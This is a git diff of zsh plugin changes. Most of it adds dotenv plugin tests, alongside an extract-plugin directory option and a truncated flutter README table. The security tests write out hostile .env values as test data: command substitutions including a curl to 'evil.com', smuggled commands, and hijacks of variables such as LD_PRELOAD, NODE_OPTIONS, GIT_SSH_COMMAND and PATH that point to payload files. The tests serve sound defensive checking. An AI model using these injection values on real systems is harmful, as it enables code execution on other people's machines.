b/plugins/dotenv/tests/_support/bootstrap new file mode 100644 index 000000000..f45bec020 --- /dev/null +++ b/plugins/dotenv/tests/_support/bootstrap @@ -0,0 +1,139 @@ +#!/usr/bin/env zsh +# Bootstrap script for dotenv plugin tests +# This is sourced before any tests run and provides shared utilities + +# Load the dotenv plugin +source "$PWD/dotenv.plugin.zsh" +ZSH_DOTENV_PROMPT=false +ZSH_DOTENV_FILE=/dev/null + +# Helper: Parse dotenv file in test mode +_parse_dotenv_test() { + parse_dotenv "$1" "test" +} + +# Helper: Parse dotenv file in export mode +_parse_dotenv_export() { + unset "${(k)parameters[(R)*export*]}" 2>/dev/null || true + + parse_dotenv "$1" "test" + + for key in "${(k)DOTENV_TEST_VARS}"; do + typeset -x "$key"="${DOTENV_TEST_VARS[$key]}" + done +} + +# Helper: Run parse_dotenv suppressing stderr +_parse_dotenv_quiet() { + parse_dotenv "$@" 2>/dev/null +} + +# Helper: Create a temporary test fixture +_create_temp_fixture() { + local fixture + fixture==(:) # Create temp file + echo "$fixture" +} + +_write_temp_fixture() { + local fixture="$1" + > "$fixture" +} + + +# Helper: Source file with allexport and capture variables +# Usage: _source_with_allexport "file.env" +# Result is in DOTENV_SOURCE_VARS associative array +_source_with_allexport() { + local filename="$1" + + # Source with allexport in a subshell with no exported variables + + # The return and capture of the exported variables is a bit of a pain: + # 1. We first store the key=value pairs in $vars associative array, which is + # defined before allexport is set to avoid appearing in results. + # 2. Afterwards, we join all keys and values of the associative with null delimiters. With + # "$(@kv)vars}" we get keys and values with quotes, to retain empty values. With (pj:\0:) + # we join them with nulls. + # 3. The caller reads this output with "${(@0)}" to split by nulls and quoting to retain + # empty values, and then uses it to populate an associative array. + # Don't try to understand this or change it unless you have to. Debugging is a nightmare. + typeset -gA DOTENV_SOURCE_VARS + DOTENV_SOURCE_VARS=("${(@0)"$( + local -A vars + + # Clear all exports first + zmodload zsh/parameter + unset ${(k)parameters[(R)*export*]} 2>/dev/null || true + + # Source file with allexport + setopt localoptions allexport + source "$filename" + + # Set all exported variables into an associative array + for key in ${(k)parameters[(R)*export*]}; do + vars[$key]="${(P)key}" + done + + print -rn -- "${(@kvpj:\0:)vars}" + )"}") +} + + +## ZUnit assertion helpers + +_zunit_assert_function_exists() { + [[ "${+functions[$1]}" -eq 1 ]] && return 0 + echo "Function '$1' does not exist" + exit 1 +} + +_zunit_assert_var_same_as() { + local tvalue=${${:-${(Pt)1%-*}}:-unset} tcomp=${${:-${(Pt)2%-*}}:-unset} + if [[ $tvalue != $tcomp ]]; then + echo "Type mismatch: '$1' ($tvalue) and '$2' ($tcomp)" + exit 78 + fi + + # Special case for associative arrays + if [[ ${(Pt)1} == "association" ]]; then + local -A value=("${(P@kv)1}") comparison=("${(P@kv)2}") + local -aU keys=("${(@k)value}" "${(@k)comparison}") + + local ret=0 key + for key in "${keys[@]}"; do + # Key match checks + if [[ -v "value[$key]" && ! -v "comparison[$key]" ]]; then + echo "'$1[$key]' is set (value='${value[$key]}')" + ret=1 + elif [[ ! -v "value[$key]" && -v "comparison[$key]" ]]; then + echo "'$1[$key]' is not set (expected='${comparison[$key]}')" + ret=1 + # Value match checks + elif [[ "${value[$key]}" != "${comparison[$key]}" ]]; then + echo "'$1[$key]' value mismatch: '${value[$key]}' is not the same as '${comparison[$key]}'" + ret=1 + fi + done + + exit $ret + fi + + # Generic case + local value="${(P)1}" comparison="${(P)2}" + [[ "$value" != "$comparison" ]] || exit 0 + echo "'$1' value mismatch: '$value' is not the same as '$comparison'" + exit 1 +} + +_zunit_assert_var_is_set() { + [[ -v "$1" ]] && return 0 + echo "Variable '$1' is not set" + exit 1 +} + +_zunit_assert_var_is_not_set() { + [[ ! -v "$1" ]] && return 0 + echo "Variable '$1' is set" + exit 1 +} diff --git a/plugins/dotenv/tests/_support/fixtures/dotenvjs.env b/plugins/dotenv/tests/_support/fixtures/dotenvjs.env new file mode 100644 index 000000000..16a56267c --- /dev/null +++ b/plugins/dotenv/tests/_support/fixtures/dotenvjs.env @@ -0,0 +1,88 @@ +# Consolidated dotenv test fixture from dotenv test suite +# Source: https://github.com/motdotla/dotenv/tree/master/tests +# +# Copyright (c) 2015, Scott Motte +# All rights reserved. + +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: + +# * Redistributions of source code must retain the above copyright notice, this +# list of conditions and the following disclaimer. + +# * Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. + +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +# Basic assignments +BASIC=basic + +# previous line intentionally left blank +AFTER_LINE=after_line + +# Empty values +EMPTY= +EMPTY_SINGLE_QUOTES='' +EMPTY_DOUBLE_QUOTES="" + +# Single quotes (literal, no expansion) +SINGLE_QUOTES='single_quotes' +SINGLE_QUOTES_SPACED=' single quotes ' +DONT_EXPAND_SQUOTED='dontexpand\nnewlines' + +# Double quotes (with escapes) +DOUBLE_QUOTES="double_quotes" +DOUBLE_QUOTES_SPACED=" double quotes " +EXPAND_NEWLINES="expand\nnew\nlines" + +# Unquoted (no escape expansion) +DONT_EXPAND_UNQUOTED=dontexpand\nnewlines + +# Quotes inside quotes +DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes' +SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes" + +# Comments +# COMMENTS=work +INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work +INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work +INLINE_COMMENTS_UNQUOTED=value # work + +# Special characters +EQUAL_SIGNS=equals== +RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}' +USEREMAIL=therealnerdybeast@example.tld + +# Multiline values with double quotes +MULTI_DOUBLE_QUOTED="THIS +IS +A +MULTILINE +STRING" + +# Multiline values with single quotes +MULTI_SINGLE_QUOTED='THIS +IS +A +MULTILINE +STRING' + +# Multiline PEM certificate +MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u +LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/ +bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/ +kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V +u4QuUoobAgMBAAE= +-----END PUBLIC KEY-----" diff --git a/plugins/dotenv/tests/_support/fixtures/features.env b/plugins/dotenv/tests/_support/fixtures/features.env new file mode 100644 index 000000000..e5862bc8e --- /dev/null +++ b/plugins/dotenv/tests/_support/fixtures/features.env @@ -0,0 +1,23 @@ +# Export syntax +export EXPORTED_VAR=exported_value +export EXPORTED_EMPTY= + +# Variable expansion (in-file forward references) +BASE_URL=https://api.example.com +API_ENDPOINT="${BASE_URL}/v1" +FULL_ENDPOINT=$BASE_URL/v2/users +COMBINED="${BASE_URL}_suffix" + +# Testing multiline quoting edge cases +MULTILINE_UNQUOTED=This\ is\ a\ \ +multiline\ value\ that\ should\ be\ treated\ as\ a\ single\ line\ with\ a\ literal\ backslash\ and\ newline +MULTILINE_DOUBLE_QUOTED="This is a \ +multiline value that should be treated as a single line with an actual newline character" +MULTILINE_SINGLE_QUOTED='This is a \ +multiline value that should be treated as a single line with a literal backslash and newline' +MULTILINE_MIXED_QUOTES="This is a \ +multiline value that should be treated as a single line with an actual newline character and a literal backslash \"and 'single quotes' inside" + +# Test for regressions +DATABASE_URL="postgres://user:pass@host/db;sslmode=require" +VAR_WITH_SEMICOLONS="value ; with ; semicolons" diff --git a/plugins/dotenv/tests/basic-parsing.zunit b/plugins/dotenv/tests/basic-parsing.zunit new file mode 100644 index 000000000..611f6a70a --- /dev/null +++ b/plugins/dotenv/tests/basic-parsing.zunit @@ -0,0 +1,398 @@ +#!/usr/bin/env zunit + + +@setup { + typeset -g fixture="$(_create_temp_fixture)" + typeset -gA expected_vars=() +} + +@teardown { + [[ -f "$fixture" ]] && command rm -f "$fixture" + unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null +} + +@test 'dotenv plugin loads successfully' { + assert "parse_dotenv" function_exists + assert "source_env" function_exists +} + +@test 'parse returns error for unsupported mode' { + run _parse_dotenv_quiet "/dev/null" "export" + assert $state equals 0 + + run _parse_dotenv_quiet "/dev/null" "test" + assert $state equals 0 + + run _parse_dotenv_quiet "/dev/null" "invalid_mode" + assert $state equals 1 +} + +@test 'parse returns error for oversized file (> 10MiB)' { + command truncate -s 11M "$fixture" 2>/dev/null + + run _parse_dotenv_quiet "$fixture" "test" + assert $state equals 1 +} + +@test 'parse returns error for non-existent file' { + run _parse_dotenv_quiet "/nonexistent/path/.env" "test" + assert $state equals 1 +} + +@test 'source_env loads named pipes without blocking' { + local tmpdir fifo output result + local child_pid writer_pid killer_pid child_rc + + tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")" + fifo="$tmpdir/.env" + output="$tmpdir/output" + command mkfifo "$fifo" + + ( + print -r -- 'TOKEN=secret' > "$fifo" + ) & + writer_pid=$! + + ( + ZSH_DOTENV_PROMPT=false + ZSH_DOTENV_FILE="$fifo" + source_env + print -r -- "${TOKEN-}" > "$output" + ) & + child_pid=$! + + ( + sleep 2 + kill -0 $child_pid 2>/dev/null || exit 0 + kill $child_pid 2>/dev/null || exit 0 + ) & + killer_pid=$! + + wait $child_pid + child_rc=$? + + kill $killer_pid 2>/dev/null || true + kill $writer_pid 2>/dev/null || true + wait $writer_pid 2>/dev/null || true + + [[ -f "$output" ]] && result="$(<"$output")" + command rm -rf "$tmpdir" + + assert $child_rc equals 0 + assert "$result" equals 'secret' +} + +@test 'source_env rejects oversized named pipes' { + run zsh -fc ' + source ./dotenv.plugin.zsh + + tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")" || exit 1 + fifo="$tmpdir/.env" + command mkfifo "$fifo" || exit 1 + + cleanup() { + kill $killer_pid 2>/dev/null || true + kill $writer_pid 2>/dev/null || true + wait $writer_pid 2>/dev/null || true + command rm -rf "$tmpdir" + } + trap cleanup EXIT + + ( + { + print -rn -- "BIG=" + command dd if=/dev/zero bs=10485761 count=1 2>/dev/null | tr "\0" a + } > "$fifo" + ) & + writer_pid=$! + + ( + sleep 2 + kill -0 $$ 2>/dev/null || exit 0 + kill $$ 2>/dev/null || exit 0 + ) & + killer_pid=$! + + ZSH_DOTENV_PROMPT=false + ZSH_DOTENV_FILE="$fifo" + source_env >/dev/null 2>&1 + ' + + assert $state equals 1 +} + +@test 'parse basic variable assignment' { + > "$fixture" <<'EOF' +# Basic assignments +BASIC=basic + +# previous line intentionally left blank +AFTER_LINE=after_line +EOF + + expected_vars=( + BASIC 'basic' + AFTER_LINE 'after_line' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse empty values' { + > "$fixture" <<'EOF' +# Empty values +EMPTY= +EMPTY_SINGLE_QUOTES='' +EMPTY_DOUBLE_QUOTES="" +EOF + + expected_vars=( + EMPTY '' + EMPTY_SINGLE_QUOTES '' + EMPTY_DOUBLE_QUOTES '' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse single quoted values' { + > "$fixture" <<'EOF' +# Single quotes (literal, no expansion) +SINGLE_QUOTES='single_quotes' +SINGLE_QUOTES_SPACED=' single quotes ' +DONT_EXPAND_SQUOTED='dontexpand\nnewlines' +EOF + + expected_vars=( + SINGLE_QUOTES 'single_quotes' + SINGLE_QUOTES_SPACED ' single quotes ' + DONT_EXPAND_SQUOTED 'dontexpand\nnewlines' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse double quoted values' { + > "$fixture" <<'EOF' +# Double quotes (with escapes) +DOUBLE_QUOTES="double_quotes" +DOUBLE_QUOTES_SPACED=" double quotes " +EXPAND_NEWLINES="expand\nnew\nlines" +EOF + + expected_vars=( + DOUBLE_QUOTES 'double_quotes' + DOUBLE_QUOTES_SPACED ' double quotes ' + EXPAND_NEWLINES "expand\nnew\nlines" + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse unquoted values' { + > "$fixture" <<'EOF' +# Unquoted (no escape expansion) +DONT_EXPAND_UNQUOTED=dontexpand\\nnewlines +EOF + + + expected_vars=( + DONT_EXPAND_UNQUOTED 'dontexpandnnewlines' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse quotes inside quotes' { + > "$fixture" <<'EOF' +# Quotes inside quotes +DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes' +SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes" +EOF + + expected_vars=( + DOUBLE_QUOTES_INSIDE_SINGLE 'double "quotes" work inside single quotes' + SINGLE_QUOTES_INSIDE_DOUBLE "single 'quotes' work inside double quotes" + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse inline comments' { + > "$fixture" <<'EOF' +# Comments +# COMMENTS=work +INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work +INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work +INLINE_COMMENTS_UNQUOTED=value # work +EOF + + expected_vars=( + INLINE_COMMENTS_SINGLE_QUOTES 'inline comments outside of #singlequotes' + INLINE_COMMENTS_DOUBLE_QUOTES 'inline comments outside of #doublequotes' + INLINE_COMMENTS_UNQUOTED 'value' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse ignores non-assignment commands with assignment-looking arguments' { + > "$fixture" <<'EOF' +print SHOULD_NOT_PARSE=value +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse special characters' { + > "$fixture" <<'EOF' +# Special characters +EQUAL_SIGNS=equals== +RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}' +USEREMAIL=therealnerdybeast@example.tld +EOF + + expected_vars=( + EQUAL_SIGNS 'equals==' + RETAIN_INNER_QUOTES_AS_STRING '{"foo": "bar"}' + USEREMAIL 'therealnerdybeast@example.tld' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse multiline values with mixed quotes' { + > "$fixture" <<'EOF' +# Multiline values with double quotes +MULTI_DOUBLE_QUOTED="THIS +IS +A +MULTILINE +STRING" + + +# Multiline values with single quotes +MULTI_SINGLE_QUOTED='THIS +IS +A +MULTILINE +STRING' + +# Multiline PEM certificate +MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u +LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/ +bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/ +kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V +u4QuUoobAgMBAAE= +-----END PUBLIC KEY-----" +EOF + + expected_vars=( + MULTI_DOUBLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING' + MULTI_SINGLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING' + MULTI_PEM_DOUBLE_QUOTED $'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u\nLgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/\nbTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/\nkKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V\nu4QuUoobAgMBAAE=\n-----END PUBLIC KEY-----' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse export syntax' { + > "$fixture" <<'EOF' +# Exported variables +export EXPORTED_VAR=exported_value +export EXPORTED_EMPTY= +EOF + + expected_vars=( + EXPORTED_VAR 'exported_value' + EXPORTED_EMPTY '' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse in-file variable expansion' { + > "$fixture" <<'EOF' +# Variable expansion (in-file forward references) +BASE_URL=https://api.example.com +API_ENDPOINT="${BASE_URL}/v1" +FULL_ENDPOINT=$BASE_URL/v2/users +COMBINED="${BASE_URL}_suffix" +EOF + + expected_vars=( + BASE_URL 'https://api.example.com' + API_ENDPOINT 'https://api.example.com/v1' + FULL_ENDPOINT 'https://api.example.com/v2/users' + COMBINED 'https://api.example.com_suffix' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse in-file variable expansion prefers the longest matching variable name' { + > "$fixture" <<'EOF' +A=1 +ABC=2 +X=$ABC +Y=${ABC} +Z=$ABCD +EOF + + expected_vars=( + A '1' + ABC '2' + X '2' + Y '2' + Z '' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse preserves escaped dollar signs before variable expansion' { + > "$fixture" <<'EOF' +BAR=expanded +ESCAPED_UNQUOTED=foo\$BAR +ESCAPED_DOUBLE="foo\$BAR" +ESCAPED_BRACED="\${BAR}" +EOF + + expected_vars=( + BAR 'expanded' + ESCAPED_UNQUOTED 'foo$BAR' + ESCAPED_DOUBLE 'foo$BAR' + ESCAPED_BRACED '${BAR}' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} diff --git a/plugins/dotenv/tests/compatibility.zunit b/plugins/dotenv/tests/compatibility.zunit new file mode 100644 index 000000000..61c5dddba --- /dev/null +++ b/plugins/dotenv/tests/compatibility.zunit @@ -0,0 +1,27 @@ +#!/usr/bin/env zunit + +@setup { + unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null +} + +@teardown { + unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null +} + +@test 'compatibility: dotenvjs fixture matches native source' { + local fixture="${testdir:A}/_support/fixtures/dotenvjs.env" + + _parse_dotenv_test "$fixture" + _source_with_allexport "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS" +} + +@test 'compatibility: features fixture matches native source' { + local fixture="${testdir:A}/_support/fixtures/features.env" + + _parse_dotenv_test "$fixture" + _source_with_allexport "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS" +} diff --git a/plugins/dotenv/tests/security.zunit b/plugins/dotenv/tests/security.zunit new file mode 100644 index 000000000..414f87bb7 --- /dev/null +++ b/plugins/dotenv/tests/security.zunit @@ -0,0 +1,209 @@ +#!/usr/bin/env zunit + +@setup { + typeset -g fixture="$(_create_temp_fixture)" + typeset -gA expected_vars=() +} + +@teardown { + [[ -f "$fixture" ]] && command rm -f "$fixture" + unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null +} + +@test 'skip dangerous backtick command substitution' { + > "$fixture" <<'EOF' +# Should be skipped +DANGEROUS_BACKTICK=`whoami` +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip dangerous subshell command substitution' { + > "$fixture" <<'EOF' +# Should be skipped +DANGEROUS_SUBSHELL=$(date) +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip nested command substitution in double quotes' { + > "$fixture" <<'EOF' +# Should be skipped +DANGEROUS_NESTED="prefix_$(echo malicious)_suffix" +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip multiple words (potential command execution)' { + > "$fixture" <<'EOF' +# Should be skipped - multiple words could execute commands +BASE_URL=/ echo command run +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'allow literal command substitution in single quotes' { + > "$fixture" <<'EOF' +# Single quotes make everything literal - should be parsed +SAFE_SINGLE_QUOTED='$(this is literal)' +SAFE_BACKTICK='`also literal`' + +# Should also be parsed +SAFE_VAR=safe_value +EOF + + expected_vars=( + SAFE_SINGLE_QUOTED '$(this is literal)' + SAFE_BACKTICK '`also literal`' + SAFE_VAR 'safe_value' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip backticks in unquoted values' { + > "$fixture" <<'EOF' +# Backticks in unquoted context - should be skipped +DANGEROUS_UNQUOTED=`echo danger` +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip dollar-paren in unquoted values' { + > "$fixture" <<'EOF' +# Command substitution in unquoted context - should be skipped +DANGEROUS_UNQUOTED=$(uname -a) +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'allow safe dollar signs (variable refs without parens in single quotes)' { + > "$fixture" <<'EOF' +# Dollar signs that don't start command substitution +SAFE_DOLLARS='$HOME is literal' +SAFE_PRICE='Cost is $50' +SAFE_VAR='value$123' + +# Should all be parsed +SAFE_VAR2=safe_value +EOF + + expected_vars=( + SAFE_DOLLARS '$HOME is literal' + SAFE_PRICE 'Cost is $50' + SAFE_VAR 'value$123' + SAFE_VAR2 'safe_value' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip quoted command substitution' { + > "$fixture" <<'EOF' +HARMLESS_COMMAND="\$(echo)" +ANOTHER_ONE=$'\x24\x28echo\x29' +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'comprehensive security test with mixed safe and dangerous patterns' { + > "$fixture" <<'EOF' +# These should be SKIPPED (dangerous) +DANGEROUS_BACKTICK=`whoami` +DANGEROUS_SUBSHELL=$(date) +DANGEROUS_NESTED="prefix_$(echo malicious)_suffix" +LOOKS_SAFE=$(curl http://evil.com) +BASE_URL=/ echo command run + +# These should WORK (safe) +SAFE_BEFORE=safe_value_1 +SAFE_AFTER=safe_value_2 +SAFE_SINGLE_QUOTED='$(this is literal)' +SAFE_SINGLE_QUOTED2='`also literal`' +SAFE_DOLLARS='$HOME' +SAFE_PRICE="$50" +EOF + + expected_vars=( + SAFE_BEFORE 'safe_value_1' + SAFE_AFTER 'safe_value_2' + SAFE_SINGLE_QUOTED '$(this is literal)' + SAFE_SINGLE_QUOTED2 '`also literal`' + SAFE_DOLLARS '$HOME' + SAFE_PRICE '$50' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + + + +@test 'blocks changes of special environment variables' { + _parse_dotenv_test =(<<'EOF' +# Executes on the next node/npm/npx invocation +NODE_OPTIONS=--require=./payload.js + +# Used for shell initialization +BASH_ENV=./payload.sh +# Used for shell initialization in zsh, but also respected by some tools like git +# - https://man7.org/linux/man-pages/man1/dash.1.html#DESCRIPTION:~:text=by%20the%20shell.-,Invocation,-If%20no%20args +# - https://zsh.sourceforge.io/Doc/Release/Parameters.html#index-ENV +ENV=./payload.sh +# Used for zsh startup +ZDOTDIR=./.malicious_zsh +ZSH=./.malicious_zsh + +# These are used for native code injection +LD_PRELOAD=./payload.so +LD_LIBRARY_PATH=./malicious_libs +DYLD_INSERT_LIBRARIES=./payload.dylib + +# Git environment variables +GIT_CONFIG_GLOBAL=./.gitconfig-malicious +GIT_DIR=./malicious_git_dir +GIT_EDITOR=./malicious_editor +GIT_EXTERNAL_DIFF=./malicious_diff +GIT_EXEC_PATH=./.malicious_git_exec +GIT_PAGER=./malicious_pager +GIT_SSH=./malicious_ssh +GIT_SSH_COMMAND=./malicious_ssh_command +GIT_SSL_NO_VERIFY=true +GIT_TEMPLATE_DIR=./malicious_templates # for persistence + +# Special exported variables +PATH=./malicious_bin:$PATH +EDITOR=./malicious +VISUAL=./malicious +PAGER=./malicious +EOF +) + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} diff --git a/plugins/extract/_extract b/plugins/extract/_extract index 6641443d3..7d71aeb1b 100644 --- a/plugins/extract/_extract +++ b/plugins/extract/_extract @@ -53,5 +53,6 @@ local -a exts=( _arguments \ '(-r --remove)'{-r,--remove}'[Remove archive.]' \ + '(-t --to-directory)'{-t,--to-directory}'[Extract to a specific directory.]' \ "*::archive file:_files -g '(#i)*.(${(j:|:)exts})(-.)'" \ && return 0 diff --git a/plugins/extract/extract.plugin.zsh b/plugins/extract/extract.plugin.zsh old mode 100644 new mode 100755 index aed77e7d7..8219f974e --- a/plugins/extract/extract.plugin.zsh +++ b/plugins/extract/extract.plugin.zsh @@ -9,14 +9,41 @@ Usage: extract [-option] [file ...] Options: -r, --remove Remove archive after unpacking. + -t, --to-directory Extract to a specific directory instead of the current one. EOF fi local remove_archive=1 - if [[ "$1" == "-r" ]] || [[ "$1" == "--remove" ]]; then - remove_archive=0 - shift - fi + local target_directory="" + + while (( $# > 0 )); do + case "$1" in + -r|--remove) + remove_archive=0 + shift + ;; + -t|--to-directory) + shift + if (( $# == 0 )); then + echo "extract: -t/--to-directory requires a directory argument" >&2 + return 1 + fi + + target_directory="$1" + shift + + if [[ ! -d "$target_directory" ]]; then + echo "extract: '$target_directory' is not a valid directory" >&2 + return 1 + fi + + target_directory="${target_directory%/}" + ;; + *) + break + ;; + esac + done local pwd="$PWD" while (( $# > 0 )); do @@ -35,6 +62,10 @@ EOF extract_dir="${extract_dir:r}" fi + if [[ -n "$target_directory" ]]; then + extract_dir="$target_directory/${extract_dir:t}" + fi + # If there's a file or directory with the same name as the archive # add a random string to the end of the extract directory if [[ -e "$extract_dir" ]]; then @@ -126,7 +157,7 @@ EOF # 1. Move and rename the extracted file/folder to a temporary random name # 2. Delete the empty folder # 3. Rename the extracted file/folder to the original name - if [[ "${content[1]:t}" == "$extract_dir" ]]; then + if [[ "${content[1]:t}" == "${extract_dir:t}" ]]; then # =(:) gives /tmp/zsh, with :t it gives zsh local tmp_name==(:); tmp_name="${tmp_name:t}" command mv "${content[1]}" "$tmp_name" \ @@ -134,9 +165,9 @@ EOF && command mv "$tmp_name" "$extract_dir" # Otherwise, if the extracted folder name already exists in the current # directory (because of a previous file / folder), keep the extract_dir - elif [[ ! -e "${content[1]:t}" ]]; then - command mv "${content[1]}" . \ - && command rmdir "$extract_dir" + elif [[ ! -e "${target_directory:-.}/${content[1]:t}" ]]; then + command mv -- "${content[1]}" "${target_directory:-.}/" \ + && command rmdir -- "$extract_dir" fi elif [[ ${#content} -eq 0 ]]; then command rmdir "$extract_dir" diff --git a/plugins/flutter/README.md b/plugins/flutter/README.md index e5a4fd2ea..a12c77c02 100644 --- a/plugins/flutter/README.md +++ b/plugins/flutter/README.md @@ -13,16 +13,20 @@ plugins=(... flutter) | Alias | Command | Description | | :--------- | :---------------------- | :------------------------------------------------------------------------- | | `fl` | `flutter` | Shorthand for flutter command | +| `fla` | `flutter analyze` | Analyzes flutter code | | `flattach` | `flutter attach` | Attaches flutter to a running flutter application with enabled observatory | | `flb` | `flutter build` | Build flutter application | -| `flchnl` | `flutter channel` | Switches flutter channel (requires input of desired channel) | | `flc` | `flutter clean` | Cleans flutter project | -| `fldvcs` | `flutter devices` | List connected devices (if any) | +| `flchnl` | `flutter channel` | Switches flutter channel (requires input of desired channel) | | `fldoc` | `flutter doctor` | Runs flutter doctor | -| `flpub` | `flutter pub` | Shorthand for flutter pub command | +| `fldvcs` | `flutter devices` | List connected devices (if any) | | `flget` | `flutter pub get` | Installs dependencies | +| 